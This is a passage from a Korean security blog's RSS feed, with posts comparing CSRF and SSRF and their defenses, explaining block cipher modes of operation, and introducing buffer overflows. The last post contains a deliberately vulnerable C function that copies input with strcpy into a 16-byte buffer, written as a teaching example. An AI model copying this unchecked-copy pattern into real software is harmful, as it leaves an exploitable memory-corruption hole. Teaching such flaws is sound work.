&lt;td style=&quot;height: 17px; width: 41.511628%;&quot;&gt;교차 사이트 요청 위조&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 45.348837%;&quot;&gt;서버 측 요청 위조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px; width: 13.139535%; text-align: center;&quot;&gt;&lt;b&gt;공격 대상&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 41.511628%;&quot;&gt;사용자의 브라우저 (사용자 권한)&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 45.348837%;&quot;&gt;서버 (서버 권한)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px; width: 13.139535%; text-align: center;&quot;&gt;&lt;b&gt;공격 방향&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 41.511628%;&quot;&gt;공격자가 사용자를 속여 사용자의 브라우저로 요청을 보내게 함&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 45.348837%;&quot;&gt;공격자가 서버가 내부/외부로 요청을 보내게 유도함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px; width: 13.139535%; text-align: center;&quot;&gt;&lt;b&gt;주요 목표&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 41.511628%;&quot;&gt;사용자의 인증 정보 (세션, 쿠키)로 사용자를 대신해 요청 수행&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 45.348837%;&quot;&gt;서버로 하여금 내부 자원 또는 외부 자원에 비인가 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px; width: 13.139535%; text-align: center;&quot;&gt;&lt;b&gt;전제 조건&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 41.511628%;&quot;&gt;피해자가 로그인된 상태 (세션 쿠키 보유)&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 45.348837%;&quot;&gt;서버가 외부/내부로 요청 가능한 기능 보유&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px; width: 13.139535%; text-align: center;&quot;&gt;&lt;b&gt;공격 방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 41.511628%;&quot;&gt;악성 링크, 이미지, 폼 등을 피해자에게 클릭 유도 &amp;rarr; 사용자의 인증으로 요청 전송&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 45.348837%;&quot;&gt;공격자가 서버의 요청 기능(예: URL 입력)을 조작해 내부 서비스로 요청 전송&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px; width: 13.139535%; text-align: center;&quot;&gt;&lt;b&gt;주요 피해&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 41.511628%;&quot;&gt;계좌 이체, 게시글 작성, 비밀번호 변경 등 피해자 계정 오용&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 45.348837%;&quot;&gt;내부 서비스 정보 탈취, 메타데이터 접근, 사설망 포트 스캔&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 35px;&quot;&gt;
&lt;td style=&quot;height: 35px; width: 13.139535%; text-align: center;&quot;&gt;&lt;b&gt;예시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 41.511628%;&quot;&gt;사용자가 로그인된 상태에서 악성 사이트 방문 &amp;rarr; 피해 사이트로 POST 요청 전송&lt;/td&gt;
&lt;td style=&quot;height: 35px; width: 45.348837%;&quot;&gt;서버에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;http://localhost/admin&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 URL을 공격자가 입력해 내부로 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;각각의 방어 기법&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center; width: 31.511628%;&quot;&gt;구분&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 68.372093%;&quot;&gt;방어기법&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 31.511628%; text-align: center;&quot;&gt;&lt;b&gt;CSRF&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 68.372093%;&quot;&gt;- CSRF Token 사용&lt;br /&gt;- SameSite 속성 쿠키&lt;br /&gt;- Referer / Origin 헤더 검증&lt;br /&gt;- 중요 요청은 재인증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 31.511628%; text-align: center;&quot;&gt;&lt;b&gt;SSRF&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 68.372093%;&quot;&gt;- URL 화이트리스트&lt;br /&gt;- 내부 IP/포트 요청 차단&lt;br /&gt;- 서버 아웃바운드 요청 제한&lt;br /&gt;- DNS rebinding, open redirect 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/34</guid>
      <comments>https://defcon.tistory.com/34#entry34comment</comments>
      <pubDate>Tue, 6 May 2025 16:24:39 +0900</pubDate>
    </item>
    <item>
      <title>블록암호 운영모드의 종류(ECB, CBC, CTR, CFB, OFB)</title>
      <link>https://defcon.tistory.com/33</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. ECB (Electronic Codebook) 모드&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2354&quot; data-origin-height=&quot;618&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Y1AYr/btsNJUFhO7t/LNy1HqEIj6VNkxYDcMEiA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Y1AYr/btsNJUFhO7t/LNy1HqEIj6VNkxYDcMEiA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Y1AYr/btsNJUFhO7t/LNy1HqEIj6VNkxYDcMEiA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FY1AYr%2FbtsNJUFhO7t%2FLNy1HqEIj6VNkxYDcMEiA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2354&quot; height=&quot;618&quot; data-origin-width=&quot;2354&quot; data-origin-height=&quot;618&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;방식&lt;/b&gt;: 각 블록을 독립적으로 암호화.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;동일한 평문 블록 &amp;rarr; 동일한 암호문 블록.&lt;/li&gt;
&lt;li&gt;병렬 처리 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;단점&lt;/b&gt;: 패턴이 반복되면 암호문에도 반복 패턴이 생겨 보안상 위험.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;용도&lt;/b&gt;: 거의 사용하지 않음 (보안 취약).&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;도식&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;C_i = E(K, P_i)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;2. CBC (Cipher Block Chaining) 모드&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2354&quot; data-origin-height=&quot;742&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ByASJ/btsNKXOQ7n5/7caHOs0Dk0aZyT3nQwEve0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ByASJ/btsNKXOQ7n5/7caHOs0Dk0aZyT3nQwEve0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ByASJ/btsNKXOQ7n5/7caHOs0Dk0aZyT3nQwEve0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FByASJ%2FbtsNKXOQ7n5%2F7caHOs0Dk0aZyT3nQwEve0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2354&quot; height=&quot;742&quot; data-origin-width=&quot;2354&quot; data-origin-height=&quot;742&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;방식&lt;/b&gt;: 이전 암호문 블록과 현재 평문 블록을 XOR 후 암호화.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;초기화 벡터(IV)가 필요.&lt;/li&gt;
&lt;li&gt;동일한 평문 블록이라도 암호문은 달라짐.&lt;/li&gt;
&lt;li&gt;병렬 복호화 가능, 암호화는 직렬 처리.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;단점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하나의 블록 오류 &amp;rarr; 현재 블록과 다음 블록 오류 전파.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;도식&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;C_i = E(K, P_i &amp;oplus; C_{i-1}),  C_0 = IV
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. CFB (Cipher Feedback) 모드&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2354&quot; data-origin-height=&quot;742&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qcXqs/btsNJ15EOeL/zPdQIAUuBJaFbk57V9bA40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qcXqs/btsNJ15EOeL/zPdQIAUuBJaFbk57V9bA40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qcXqs/btsNJ15EOeL/zPdQIAUuBJaFbk57V9bA40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqcXqs%2FbtsNJ15EOeL%2FzPdQIAUuBJaFbk57V9bA40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2354&quot; height=&quot;742&quot; data-origin-width=&quot;2354&quot; data-origin-height=&quot;742&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;방식&lt;/b&gt;: 이전 암호문 블록을 암호화한 후, 평문과 XOR.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;스트림 암호처럼 동작 가능.&lt;/li&gt;
&lt;li&gt;부분 블록 처리 가능.&lt;/li&gt;
&lt;li&gt;복호화 시 병렬 처리 어려움.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;단점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CBC처럼 오류 전파 발생.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;도식&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;C_i = P_i &amp;oplus; E(K, C_{i-1}),  C_0 = IV
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; &lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;4. OFB (Output Feedback) 모드&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2354&quot; data-origin-height=&quot;742&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/V7K6b/btsNJ42j5HP/GPkD1bgPKlEsE07b38u3oK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/V7K6b/btsNJ42j5HP/GPkD1bgPKlEsE07b38u3oK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/V7K6b/btsNJ42j5HP/GPkD1bgPKlEsE07b38u3oK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FV7K6b%2FbtsNJ42j5HP%2FGPkD1bgPKlEsE07b38u3oK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2354&quot; height=&quot;742&quot; data-origin-width=&quot;2354&quot; data-origin-height=&quot;742&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;방식&lt;/b&gt;: 암호화기 출력만을 피드백하여 XOR.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;오류 전파 없음 (한 비트 오류 &amp;rarr; 해당 비트만 손상).&lt;/li&gt;
&lt;li&gt;미리 키 스트림 생성 가능.&lt;/li&gt;
&lt;li&gt;IV 필수.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;단점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;IV 재사용 시 보안 치명적.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;도식&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;nix&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;O_i = E(K, O_{i-1}),  C_i = P_i &amp;oplus; O_i,  O_0 = IV
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5. CTR (Counter) 모드&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2354&quot; data-origin-height=&quot;742&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ONqs4/btsNKtHfHoY/qnn1JB4tiN8WrDB0UWFOkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ONqs4/btsNKtHfHoY/qnn1JB4tiN8WrDB0UWFOkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ONqs4/btsNKtHfHoY/qnn1JB4tiN8WrDB0UWFOkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FONqs4%2FbtsNKtHfHoY%2Fqnn1JB4tiN8WrDB0UWFOkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2354&quot; height=&quot;742&quot; data-origin-width=&quot;2354&quot; data-origin-height=&quot;742&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;방식&lt;/b&gt;: 증가하는 카운터 값을 암호화 후, 평문과 XOR.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;완전 병렬 처리 가능 (암호화/복호화 모두).&lt;/li&gt;
&lt;li&gt;미리 키 스트림 생성 가능.&lt;/li&gt;
&lt;li&gt;IV 또는 nonce 필요.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;단점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;카운터 값 충돌 &amp;rarr; 보안 붕괴.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;도식&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;C_i = P_i &amp;oplus; E(K, Nonce || Counter_i)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;비교 요약&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모드병렬 암호화병렬 복호화오류 전파패턴 감춤&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;운영모드&lt;/td&gt;
&lt;td&gt;병렬 암호화&lt;/td&gt;
&lt;td&gt;병렬 복호화&lt;/td&gt;
&lt;td&gt;오류 전파&lt;/td&gt;
&lt;td&gt;패턴 감춤&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ECB&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CBC&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CFB&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OFB&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CTR&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;오류전파 : 암호문에서 한비트가 손상되었을 대 복호화된 평문에서 얼마나 많은 부분이 잘못되느냐를 의미&lt;br /&gt;패턴감춤 : 평문에 반복되는 패턴(ex. 'AAAA', 'BBBB')이 암호문에서 그대로 드러나는지를 의미&lt;/blockquote&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;선택 포인트&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;안전성 중요 &amp;rarr; ECB는 피하기.&lt;/li&gt;
&lt;li&gt;병렬 성능 필요 &amp;rarr; CTR 모드.&lt;/li&gt;
&lt;li&gt;스트림 암호화 필요 &amp;rarr; OFB, CFB.&lt;/li&gt;
&lt;li&gt;파일 암호화 &amp;rarr; CBC, CTR.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>암호</category>
      <category>AES</category>
      <category>CBC</category>
      <category>CFB</category>
      <category>CTR</category>
      <category>ECB</category>
      <category>OFB</category>
      <category>블록암호</category>
      <category>운영모드</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/33</guid>
      <comments>https://defcon.tistory.com/33#entry33comment</comments>
      <pubDate>Mon, 5 May 2025 19:08:55 +0900</pubDate>
    </item>
    <item>
      <title>Buffer Overflow의 개념과 예방방법</title>
      <link>https://defcon.tistory.com/32</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Buffer Overflow란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Buffer Overflow(버퍼 오버플로우)는 메모리에서 고정된 크기의 버퍼(임시 데이터 저장 공간)에 예상보다 많은 데이터를 써서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;인접한 메모리 영역을 덮어쓰는 취약점&lt;/b&gt;입니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;조금 더 구체적으로:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로그램에서 문자열, 배열, 입력 데이터를 처리할 때, 미리 지정된 메모리 공간(예:&lt;span&gt;&amp;nbsp;&lt;/span&gt;char buf[16])이 있는데 여기에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;버퍼 크기보다 큰 데이터&lt;/b&gt;를 넣으면 버퍼를 넘어선 메모리 공간까지 덮어써 버립니다.&lt;/li&gt;
&lt;li&gt;이때 덮어쓰는 메모리에는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;프로그램의 제어 흐름을 관리하는 정보&lt;/b&gt;(예: 반환 주소, 함수 포인터, 변수 등)가 있을 수 있어, 공격자가 이걸 조작하면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;임의의 코드 실행, 시스템 권한 상승, 서비스 거부(Denial of Service, DoS)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 보안 사고로 이어질 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;예시 (C 코드)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;arduino&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

void vulnerable(char *input) {
    char buffer[16];
    strcpy(buffer, input);
    printf(&quot;You entered: %s\n&quot;, buffer);
}

int main(int argc, char *argv[]) {
    vulnerable(argv[1]);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;이 프로그램은&amp;nbsp;argv[1]로 길이가 16자를 초과하는 문자열을 넣으면&amp;nbsp;buffer&amp;nbsp;뒤의 메모리 영역까지 덮어쓰게 됩니다. 만약 공격자가 여기에&amp;nbsp;특수 제작한 페이로드를 넣으면 프로그램의 흐름을 공격자가 원하는 방향으로 바꿀 수 있습니다.&lt;/blockquote&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Buffer Overflow의 위험&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;코드 실행:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;공격자가 셸코드(shellcode)를 심어 시스템에서 임의 명령 실행&lt;/li&gt;
&lt;li&gt;&lt;b&gt;서비스 다운:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;프로그램이 크래시하거나 멈춤&lt;/li&gt;
